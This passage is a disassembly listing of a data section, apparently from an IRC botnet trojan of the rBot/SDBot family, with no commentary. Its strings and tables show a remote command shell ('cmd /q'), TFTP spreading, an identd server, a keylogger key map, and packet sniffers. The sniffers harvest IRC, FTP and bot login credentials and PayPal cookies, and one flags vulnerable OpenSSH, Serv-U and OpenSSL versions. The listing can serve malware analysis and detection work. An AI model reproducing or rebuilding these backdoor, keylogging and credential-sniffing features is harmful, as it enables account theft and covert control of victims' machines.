		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_433AD8:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F80	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433FC4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_43402C	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434074	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_4340B4	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4340F8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_434124	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_434150	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43418C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_4341B8	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341E4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434380	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_4343B4	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343FC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_434424	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434464	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_4344A4	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344E4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E54	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E84:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435748
		dd offset off_435744
		dd offset off_435740
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h
		db 0
		db 3 dup(0)		; DATA XREF: ___:off_435744o
		dd 3 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EDCo
		align 10h
off_435740	dd offset word_505446	; DATA XREF: ___:00434ED8o
off_435744	dd offset byte_435249	; DATA XREF: ___:00434ED4o
off_435748	dd offset word_544F42	; DATA XREF: ___:00434ED0o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_4359BC	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359F4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_435A2C	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A60	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
